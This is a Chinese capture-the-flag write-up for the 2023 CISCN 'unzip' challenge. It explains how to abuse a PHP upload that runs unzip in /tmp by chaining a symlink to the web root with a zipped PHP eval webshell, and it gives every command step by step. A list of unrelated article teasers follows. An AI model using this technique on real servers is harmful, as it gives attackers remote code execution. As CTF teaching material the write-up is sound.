2023CISCN初赛unzip
2023CISCN初赛unzip
随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
可以看到验证文件MIME类型,需要上传zip文件。然后进入到tmp目录下,调用unzip命令进行解压。
解题思路:
这里可以思考将文件马写到zip压缩包中,但是在linux系统中,如果使用apache服务器,默认的网站web根目录是/var/www/html,而马却在tmp目录下,无法访问。
想要实现目录跳转,可以使用软连接,使/tmp目录下的link与网站根目录/var/www/html建立软链接
#创建一个文件夹aaa进入其中,将该文件夹与/var/www/html目录进行软连接
ln -s /var/www/html slink
- 当前目录下会出现一个名为
slink的符号链接。 - 当你访问
slink,系统会将操作重定向到/var/www/html。假设/var/www/html下有一个文件index.html,执行命令后,通过link/index.html就可以访问该文件。
#生成一个压缩包slink.zip里面包含slink文件
zip --symlink slink.zip slink
此时aaa文件夹下已经有了slink和slink.zip两个文件。然后删除slink文件,建立一个文件夹名为slink。进入到slink文件夹下。
#写一个一句话木马,注意这里要使用单引号,如何使用双引号会把$_REQUEST当作变量解析,导致缺失
echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
然后返回上一级目录,将slink文件夹压缩,保存为slink2.zip文件
zip -r slink2.zip ./slink/*
此时该文件夹下有两个zip文件
├── slink.zip
│ └── slink
├── slink2.zip└── shell.php
先上传slink.zip,再上传slink2.zip。之后用蚁剑链接或者命令执行即可。
命令汇总:
root@VM-4-17-ubuntu:/home/ubuntu# mkdir aaa
root@VM-4-17-ubuntu:/home/ubuntu# cd aaa
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ln -s /var/www/html slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip --symlink slink.zip slinkadding: slink (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# rm -rf slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# mkdir slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# cd slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# cd ../
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip -r slink2.zip ./slink/*adding: slink/shell.php (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink slink2.zip slink.zip
相关文章:
2023CISCN初赛unzip
2023CISCN初赛unzip 随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下: <?php error_reporting(0); highlight_file(__FILE__);$finfo finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name…...
计算机网络 (55)流失存储音频/视频
一、定义与特点 定义:流式存储音频/视频是指经过压缩并存储在服务器上的多媒体文件,客户端可以通过互联网边下载边播放这些文件,也称为音频/视频点播。 特点: 边下载边播放:用户无需等待整个文件下载完成即可开始播放…...
Linux通过docker部署京东矩阵容器服务
获取激活码 将京东无线宝app升级到最新版,然后打开首页,点击号 选择添加容器矩阵,然后获取激活码 运行容器 read -p "请输入你的激活码: " ACTIVECODE;read -p "请输入宿主机的缓存路径: " src;docker rm -f cmatrix;docker run -d -it --name cmatrix …...
【MySQL】悲观锁和乐观锁的原理和应用场景
悲观锁和乐观锁,并不是 MySQL 或者数据库中独有的概念,而是并发编程的基本概念。 主要区别在于,操作共享数据时,“悲观锁”认为数据出现冲突的可能性更大,而“乐观锁”则是认为大部分情况不会出现冲突,进而…...
Java Web-Tomcat Servlet
Web服务器-Tomcat Web服务器简介 Web 服务器是一种软件程序,它主要用于在网络上接收和处理客户端(如浏览器)发送的 HTTP 请求,并返回相应的网页内容或数据。以下是关于 Web 服务器的详细介绍: 功能 接收请求&#…...
老牌工具被破!
屏幕录制技术因其高效的信息传递能力在多个行业中得到了广泛应用,在教育领域,教师利用屏幕录制制作在线课程。在企业培训中,它为新员工提供了灵活的学习方式。在直播、游戏时,录制分享精彩内容。在客户支持中,客服人员…...
在计算机上本地运行 Deepseek R1
Download Ollama on Linux Download Ollama on Windows Download Ollama on macOS Deepseek R1 是一个强大的人工智能模型,在科技界掀起了波澜。它是一个开源语言模型,可以与 GPT-4 等大玩家展开竞争。但更重要的是,与其他一些模型不同&…...
MongoDB中常用的几种高可用技术方案及优缺点
MongoDB 的高可用性方案主要依赖于其内置的 副本集 (Replica Set) 和 Sharding 机制。下面是一些常见的高可用性技术方案: 1. 副本集 (Replica Set) 副本集是 MongoDB 提供的主要高可用性解决方案,确保数据在多个节点之间的冗余存储和自动故障恢复。副…...
【GoLang】利用validator包实现服务端参数校验时自定义错误信息
在C/S架构下,服务端在校验请求参数时,若出现参数错误,要响应给客户端一个错误消息,通常我们会统一响应“参数错误”。 但是,如果只是一味的提示参数错误,我并不知道具体是哪个参数错了呀!能不能…...
异或哈希总结
例题 例题1https://codeforces.com/problemset/problem/1175/Fhttps://codeforces.com/problemset/problem/1175/F 例题2https://codeforces.com/contest/2014/problem/Hhttps://codeforces.com/contest/2014/problem/H例题4https://codeforces.com/contest/1418/problem/Ght…...
【Rust自学】15.7. 循环引用导致内存泄漏
说句题外话,这篇文章真心很难,有看不懂可以在评论区问,我会尽快作答的。 喜欢的话别忘了点赞、收藏加关注哦(加关注即可阅读全文),对接下来的教程有兴趣的可以关注专栏。谢谢喵!(・ω…...
C#AWS signatureV4对接Amazon接口
马上要放假了,需要抓紧时间测试对接一个三方接口,对方是使用Amazon服务的,国内不多见,能查的资(代)料(码),时间紧比较紧,也没有时间去啃Amazon的文档,主要我的英文水平也不行,于是粗…...
C语言操作符(下)
上一篇文章传送门:操作符上 前言:上期我们介绍了C语言的操作符的使用方法,这期我们主要侧重讲当我们已经了解了操作符的基本知识后怎样样来看待运算路径的问题。 操作符 一,优先级和结合性1,优先级2,结合性…...
学习资料收藏 游戏开发
本文整理了本人在学习 Unity3D 游戏开发过程中知晓的一些学习资料。 视频教程 siki学院 M_Studio Unity中文课堂 博客 林新发 浅墨_毛星云 冯乐乐 Roystan Sorumi 宣雨松 陆泽西 书籍 《Unity 游戏设计与实现》(加藤政树) 《Unity Shader 入…...
我的2024年总结
趁着摸鱼赶紧写一下吧 去年目标review 还是将去年的目标完成了一些 【接纳不完美,多拍照片】 这个还是部分做到了,今年和一些朋友们见面时都注意拍照留记录了,不过还可以继续加强,因为外貌上发生了重大变化,下面细说…...
freeswitch在centos上编译过程
操作系统:centos9-last usr/local/freeswitch/bin/freeswitch -version FreeSWITCH version: 1.10.13-devgit~20250125T131725Z~3f1e4bf90a~64bit (git 3f1e4bf 2025-01-25 13:17:25Z 64bit)vi /etc/ssh/sshd_config ip a nmtui reboot ip a curl -o /etc/pki/rpm-…...
docker如何查看容器启动命令(已运行的容器)
docker ps 查看正在运行的容器 该命令主要是为了详细展示查看运行时的command参数 # 通过docker --no-trunc参数来详细展示容器运行命令 docker ps -a --no-trunc | grep <container_name>通过docker inspect命令 使用docker inspect,但是docker inspect打…...
正则表达式以及Qt中的使用
目录 一、正则表达式 1、基本匹配: 2、元字符: 2.1 .运算符: 2.2 字符集: 2.3 重复次数: 2.4 量词{} 2.5 特征标群() 2.6 或运算符 2.7 \反斜线转码特殊字符 2.8 锚点 3、简写字符 4、零宽度断言 4.1 正…...
当高兴、尊重和优雅三位一体是什么情况吗?
英语单词 disgrace 表示“失脸,耻辱,不光彩,名誉扫地”一类的含义,可做名词或动词使用,含义基本一致,只是词性不同。 disgrace n.丢脸;耻辱;不光彩;令人感到羞耻的人(或…...
Vue 3 中的 TypeScript:接口、自定义类型与泛型
在 Vue 3 中,TypeScript 提供了强大的类型系统,帮助我们更好地管理代码的类型安全。通过使用 接口(Interface)、自定义类型(Type Aliases) 和 泛型(Generics),我们可以编…...
AI艺术创作大赛:Shadow Sound Hunter生成作品展示
AI艺术创作大赛:Shadow & Sound Hunter生成作品展示 1. 引言 最近参加了一场AI艺术创作大赛,用Shadow & Sound Hunter模型生成了不少有意思的作品。这个模型在数字绘画、诗歌创作和音乐编曲方面都表现出色,让我看到了AI在艺术创作领…...
超导电路阵列实验方案 V1.0桌面量子引力实验(自指动力学与类时空关联涌现)
超导电路阵列实验方案 V1.0 桌面量子引力实验(自指动力学与类时空关联涌现) 方案编号:SR-EXP-QG-001 版本:V1.0 一、核心科学目标 1. 科学目标 在一维/二维超导量子比特阵列中,引入全局量子态测量 实时反馈构建强自指…...
Bambu Studio 3D打印切片实战指南:从技术原理到场景应用
Bambu Studio 3D打印切片实战指南:从技术原理到场景应用 【免费下载链接】BambuStudio PC Software for BambuLab and other 3D printers 项目地址: https://gitcode.com/GitHub_Trending/ba/BambuStudio Bambu Studio作为一款专为3D打印优化的开源切片软件&…...
G-Helper终极指南:如何用轻量工具延长华硕笔记本电池寿命50%
G-Helper终极指南:如何用轻量工具延长华硕笔记本电池寿命50% 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, Str…...
【计算机架构】RISC-V:开源精简指令集如何重塑未来芯片设计
1. RISC-V:开源指令集的革命性突破 我第一次接触RISC-V是在2014年,当时这个开源指令集还只是学术界的一个研究项目。谁能想到短短几年后,它已经成为改变芯片设计行业的颠覆性力量。与ARM、x86等传统商业架构不同,RISC-V最吸引我的…...
EnergyStarX深度解析:开源开发者如何让Windows 11续航提升40%+
EnergyStarX深度解析:开源开发者如何让Windows 11续航提升40% 【免费下载链接】EnergyStarX 🔋 Improve your Windows 11 devices battery life. A WinUI 3 GUI for https://github.com/imbushuo/EnergyStar. 项目地址: https://gitcode.com/gh_mirror…...
基于Simulink的自抗扰控制(ADRC)在OBC前级的应用
手把手教你学Simulink——基于Simulink的自抗扰控制(ADRC)在OBC前级的应用 (附:OBC前级拓扑剖析+ADRC抗扰原理+TD/ESO/NLSEF算法推导+Simulink全模型搭建+动态响应/谐波抑制对比+实机部署指南) 摘要 车载充电机(OBC)前级作为交流-直流(AC-DC)整流核心,需将电网…...
终极指南:一键解决iPhone USB网络共享驱动问题
终极指南:一键解决iPhone USB网络共享驱动问题 【免费下载链接】Apple-Mobile-Drivers-Installer Powershell script to easily install Apple USB and Mobile Device Ethernet (USB Tethering) drivers on Windows! 项目地址: https://gitcode.com/gh_mirrors/ap…...
实战应用:基于快马开发企业内软件合规性与安全拦截演示工具
今天想和大家分享一个在企业IT支持场景中非常实用的工具开发经验——基于InsCode(快马)平台开发的软件合规性检查演示工具。这个工具特别适合用来做内部培训或用户教育,帮助大家理解系统弹出的"智能应用控制已阻止可能不安全的应用"这类安全警告背后的逻辑…...
开源翻译终端效果展示:Pixel Language Portal处理专业术语准确率分析
开源翻译终端效果展示:Pixel Language Portal处理专业术语准确率分析 1. 产品概览 Pixel Language Portal(像素语言跨维传送门)是一款基于腾讯Hunyuan-MT-7B核心引擎构建的创新翻译工具。与传统翻译软件不同,它将翻译过程转化为…...
